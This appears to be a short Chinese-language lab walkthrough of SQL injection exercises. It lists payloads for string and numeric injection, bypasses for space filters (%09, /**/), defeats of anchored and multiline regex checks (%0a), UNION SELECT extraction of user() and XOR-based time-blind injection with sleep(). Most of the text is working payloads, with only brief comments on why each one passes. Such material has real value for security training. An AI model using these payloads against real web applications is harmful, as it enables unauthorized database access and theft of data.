最基础的字符型注入,无任何过滤
name=root’ and ‘1’=’1
过滤了空格,语句中若出现空格就会报错
name=root’%09and%09’1’=’1
name=root’/**/union/**/select/**/1,2,3,4,5%23
name=root’/**/union/**/select/**/1,2,3,4,5%23
最基础的数值型注入,过滤了单引号
id=2%20and%201=2
//代码片段
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
可以看出这里参数id必须以数字开头
id=1/0 UNION SELECT 1,user(),3,4,5
//代码片段
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
可以看出这里参数id必须以数字结尾
id=1 and 1=1%23123
//代码片段
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
这里使用了PCRE_MULTLINE(/m),也就是说任意换行符之前或之后都必须是数字,那么就可以构造如下payload
id=1%0a and 1=1
使用XOR逻辑加时间盲注进行猜解
order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
这里过滤了“`”,可以使用XOR让第一个语句报错,第二个语句正确,页面显示正常
order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23